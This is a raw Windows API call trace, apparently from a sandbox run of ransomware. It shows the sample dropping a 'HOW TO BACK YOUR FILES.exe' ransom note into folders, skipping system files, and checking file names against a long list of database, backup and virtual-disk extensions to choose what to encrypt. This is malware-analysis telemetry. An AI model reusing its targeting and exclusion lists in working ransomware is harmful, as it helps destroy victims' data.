	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="bootmgr") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="temp") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="pagefile.sys") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="boot") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="ids.txt") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="ntuser.dat") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="perflogs") returned -1
	[0084.988] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="MSBuild") returned -1
	[0084.988] lstrlenW (lpString="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 38
	[0084.988] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 87
	[0084.988] lstrcpyW (in: lpString1=0x119e66a, lpString2="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0084.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0084.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5a3168
	[0084.988] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0084.988] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0084.988] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.989] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0084.989] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0084.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0084.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0084.989] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 87
	[0084.989] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0084.989] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.989] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.990] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.990] GetLastError () returned 0x0
	[0084.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.990] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.990] CloseHandle (hObject=0x10c) returned 1
	[0084.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.990] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.990] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.990] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.990] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.990] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.990] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fed9ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fed9ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.990] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.990] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.990] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.990] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.991] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="Apollon865.txt.exe") returned 1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="temp") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="pagefile.sys") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="boot") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="ids.txt") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="perflogs") returned -1
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2="MSBuild") returned -1
	[0084.991] lstrlenW (lpString="background.png") returned 14
	[0084.991] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned 89
	[0084.991] lstrcpyW (in: lpString1=0x119e6b8, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0084.991] lstrlenW (lpString="background.png") returned 14
	[0084.991] lstrlenW (lpString="Apollon865") returned 10
	[0084.991] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0084.991] lstrlenW (lpString=".dll") returned 4
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2=".dll") returned 1
	[0084.991] lstrlenW (lpString=".lnk") returned 4
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2=".lnk") returned 1
	[0084.991] lstrlenW (lpString=".ini") returned 4
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2=".ini") returned 1
	[0084.991] lstrlenW (lpString=".sys") returned 4
	[0084.991] lstrcmpiW (lpString1="background.png", lpString2=".sys") returned 1
	[0084.991] lstrlenW (lpString="background.png") returned 14
	[0084.991] lstrlenW (lpString="bak") returned 3
	[0084.991] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0084.991] lstrlenW (lpString="ba_") returned 3
	[0084.991] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0084.991] lstrlenW (lpString="dbb") returned 3
	[0084.991] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0084.991] lstrlenW (lpString="vmdk") returned 4
	[0084.991] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0084.992] lstrlenW (lpString="rar") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0084.992] lstrlenW (lpString="zip") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0084.992] lstrlenW (lpString="tgz") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0084.992] lstrlenW (lpString="vbox") returned 4
	[0084.992] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0084.992] lstrlenW (lpString="vdi") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0084.992] lstrlenW (lpString="vhd") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0084.992] lstrlenW (lpString="vhdx") returned 4
	[0084.992] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0084.992] lstrlenW (lpString="avhd") returned 4
	[0084.992] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0084.992] lstrlenW (lpString="db") returned 2
	[0084.992] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0084.992] lstrlenW (lpString="db2") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0084.992] lstrlenW (lpString="db3") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0084.992] lstrlenW (lpString="dbf") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0084.992] lstrlenW (lpString="mdf") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0084.992] lstrlenW (lpString="mdb") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0084.992] lstrlenW (lpString="sql") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0084.992] lstrlenW (lpString="sqlite") returned 6
	[0084.992] lstrcmpiW (lpString1="nd.png", lpString2="sqlite") returned -1
	[0084.992] lstrlenW (lpString="sqlite3") returned 7
	[0084.992] lstrcmpiW (lpString1="und.png", lpString2="sqlite3") returned 1
	[0084.992] lstrlenW (lpString="sqlitedb") returned 8
	[0084.992] lstrcmpiW (lpString1="ound.png", lpString2="sqlitedb") returned -1
	[0084.992] lstrlenW (lpString="xml") returned 3
	[0084.992] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0084.993] lstrlenW (lpString="$er") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0084.993] lstrlenW (lpString="4dd") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0084.993] lstrlenW (lpString="4dl") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0084.993] lstrlenW (lpString="^^^") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0084.993] lstrlenW (lpString="abs") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0084.993] lstrlenW (lpString="abx") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0084.993] lstrlenW (lpString="accdb") returned 5
	[0084.993] lstrcmpiW (lpString1="d.png", lpString2="accdb") returned 1
	[0084.993] lstrlenW (lpString="accdc") returned 5
	[0084.993] lstrcmpiW (lpString1="d.png", lpString2="accdc") returned 1
	[0084.993] lstrlenW (lpString="accde") returned 5
	[0084.993] lstrcmpiW (lpString1="d.png", lpString2="accde") returned 1
	[0084.993] lstrlenW (lpString="accdr") returned 5
	[0084.993] lstrcmpiW (lpString1="d.png", lpString2="accdr") returned 1
	[0084.993] lstrlenW (lpString="accdt") returned 5
	[0084.993] lstrcmpiW (lpString1="d.png", lpString2="accdt") returned 1
	[0084.993] lstrlenW (lpString="accdw") returned 5
	[0084.993] lstrcmpiW (lpString1="d.png", lpString2="accdw") returned 1
	[0084.993] lstrlenW (lpString="accft") returned 5
	[0084.993] lstrcmpiW (lpString1="d.png", lpString2="accft") returned 1
	[0084.993] lstrlenW (lpString="adb") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0084.993] lstrlenW (lpString="adb") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0084.993] lstrlenW (lpString="ade") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0084.993] lstrlenW (lpString="adf") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0084.993] lstrlenW (lpString="adn") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0084.993] lstrlenW (lpString="adp") returned 3
	[0084.993] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0084.994] lstrlenW (lpString="alf") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0084.994] lstrlenW (lpString="ask") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0084.994] lstrlenW (lpString="btr") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0084.994] lstrlenW (lpString="cat") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0084.994] lstrlenW (lpString="cdb") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0084.994] lstrlenW (lpString="ckp") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0084.994] lstrlenW (lpString="cma") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0084.994] lstrlenW (lpString="cpd") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0084.994] lstrlenW (lpString="dacpac") returned 6
	[0084.994] lstrcmpiW (lpString1="nd.png", lpString2="dacpac") returned 1
	[0084.994] lstrlenW (lpString="dad") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0084.994] lstrlenW (lpString="dadiagrams") returned 10
	[0084.994] lstrcmpiW (lpString1="ground.png", lpString2="dadiagrams") returned 1
	[0084.994] lstrlenW (lpString="daschema") returned 8
	[0084.994] lstrcmpiW (lpString1="ound.png", lpString2="daschema") returned 1
	[0084.994] lstrlenW (lpString="db-journal") returned 10
	[0084.994] lstrcmpiW (lpString1="ground.png", lpString2="db-journal") returned 1
	[0084.994] lstrlenW (lpString="db-shm") returned 6
	[0084.994] lstrcmpiW (lpString1="nd.png", lpString2="db-shm") returned 1
	[0084.994] lstrlenW (lpString="db-wal") returned 6
	[0084.994] lstrcmpiW (lpString1="nd.png", lpString2="db-wal") returned 1
	[0084.994] lstrlenW (lpString="dbc") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0084.994] lstrlenW (lpString="dbs") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0084.994] lstrlenW (lpString="dbt") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0084.994] lstrlenW (lpString="dbv") returned 3
	[0084.994] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0084.995] lstrlenW (lpString="dbx") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0084.995] lstrlenW (lpString="dcb") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0084.995] lstrlenW (lpString="dct") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0084.995] lstrlenW (lpString="dcx") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0084.995] lstrlenW (lpString="ddl") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0084.995] lstrlenW (lpString="dlis") returned 4
	[0084.995] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0084.995] lstrlenW (lpString="dp1") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0084.995] lstrlenW (lpString="dqy") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0084.995] lstrlenW (lpString="dsk") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0084.995] lstrlenW (lpString="dsn") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0084.995] lstrlenW (lpString="dtsx") returned 4
	[0084.995] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0084.995] lstrlenW (lpString="dxl") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0084.995] lstrlenW (lpString="eco") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0084.995] lstrlenW (lpString="ecx") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0084.995] lstrlenW (lpString="edb") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0084.995] lstrlenW (lpString="epim") returned 4
	[0084.995] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0084.995] lstrlenW (lpString="fcd") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0084.995] lstrlenW (lpString="fdb") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0084.995] lstrlenW (lpString="fic") returned 3
	[0084.995] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0084.996] lstrlenW (lpString="flexolibrary") returned 12
	[0084.996] lstrcmpiW (lpString1="ckground.png", lpString2="flexolibrary") returned -1
	[0084.996] lstrlenW (lpString="fm5") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0084.996] lstrlenW (lpString="fmp") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0084.996] lstrlenW (lpString="fmp12") returned 5
	[0084.996] lstrcmpiW (lpString1="d.png", lpString2="fmp12") returned -1
	[0084.996] lstrlenW (lpString="fmpsl") returned 5
	[0084.996] lstrcmpiW (lpString1="d.png", lpString2="fmpsl") returned -1
	[0084.996] lstrlenW (lpString="fol") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0084.996] lstrlenW (lpString="fp3") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0084.996] lstrlenW (lpString="fp4") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0084.996] lstrlenW (lpString="fp5") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0084.996] lstrlenW (lpString="fp7") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0084.996] lstrlenW (lpString="fpt") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0084.996] lstrlenW (lpString="frm") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0084.996] lstrlenW (lpString="gdb") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0084.996] lstrlenW (lpString="gdb") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0084.996] lstrlenW (lpString="grdb") returned 4
	[0084.996] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0084.996] lstrlenW (lpString="gwi") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0084.996] lstrlenW (lpString="hdb") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0084.996] lstrlenW (lpString="his") returned 3
	[0084.996] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0084.996] lstrlenW (lpString="ib") returned 2
	[0084.996] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0084.997] lstrlenW (lpString="idb") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0084.997] lstrlenW (lpString="ihx") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0084.997] lstrlenW (lpString="itdb") returned 4
	[0084.997] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0084.997] lstrlenW (lpString="itw") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0084.997] lstrlenW (lpString="jet") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0084.997] lstrlenW (lpString="jtx") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0084.997] lstrlenW (lpString="kdb") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0084.997] lstrlenW (lpString="kexi") returned 4
	[0084.997] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0084.997] lstrlenW (lpString="kexic") returned 5
	[0084.997] lstrcmpiW (lpString1="d.png", lpString2="kexic") returned -1
	[0084.997] lstrlenW (lpString="kexis") returned 5
	[0084.997] lstrcmpiW (lpString1="d.png", lpString2="kexis") returned -1
	[0084.997] lstrlenW (lpString="lgc") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0084.997] lstrlenW (lpString="lwx") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0084.997] lstrlenW (lpString="maf") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0084.997] lstrlenW (lpString="maq") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0084.997] lstrlenW (lpString="mar") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0084.997] lstrlenW (lpString="marshal") returned 7
	[0084.997] lstrcmpiW (lpString1="und.png", lpString2="marshal") returned 1
	[0084.997] lstrlenW (lpString="mas") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0084.997] lstrlenW (lpString="mav") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0084.997] lstrlenW (lpString="maw") returned 3
	[0084.997] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0084.998] lstrlenW (lpString="mdbhtml") returned 7
	[0084.998] lstrcmpiW (lpString1="und.png", lpString2="mdbhtml") returned 1
	[0084.998] lstrlenW (lpString="mdn") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0084.998] lstrlenW (lpString="mdt") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0084.998] lstrlenW (lpString="mfd") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0084.998] lstrlenW (lpString="mpd") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0084.998] lstrlenW (lpString="mrg") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0084.998] lstrlenW (lpString="mud") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0084.998] lstrlenW (lpString="mwb") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0084.998] lstrlenW (lpString="myd") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0084.998] lstrlenW (lpString="ndf") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0084.998] lstrlenW (lpString="nnt") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0084.998] lstrlenW (lpString="nrmlib") returned 6
	[0084.998] lstrcmpiW (lpString1="nd.png", lpString2="nrmlib") returned -1
	[0084.998] lstrlenW (lpString="ns2") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0084.998] lstrlenW (lpString="ns3") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0084.998] lstrlenW (lpString="ns4") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0084.998] lstrlenW (lpString="nsf") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0084.998] lstrlenW (lpString="nv") returned 2
	[0084.998] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0084.998] lstrlenW (lpString="nv2") returned 3
	[0084.998] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0084.998] lstrlenW (lpString="nwdb") returned 4
	[0084.998] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0084.999] lstrlenW (lpString="nyf") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0084.999] lstrlenW (lpString="odb") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0084.999] lstrlenW (lpString="odb") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0084.999] lstrlenW (lpString="oqy") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0084.999] lstrlenW (lpString="ora") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0084.999] lstrlenW (lpString="orx") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0084.999] lstrlenW (lpString="owc") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0084.999] lstrlenW (lpString="p96") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0084.999] lstrlenW (lpString="p97") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0084.999] lstrlenW (lpString="pan") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0084.999] lstrlenW (lpString="pdb") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0084.999] lstrlenW (lpString="pdm") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0084.999] lstrlenW (lpString="pnz") returned 3
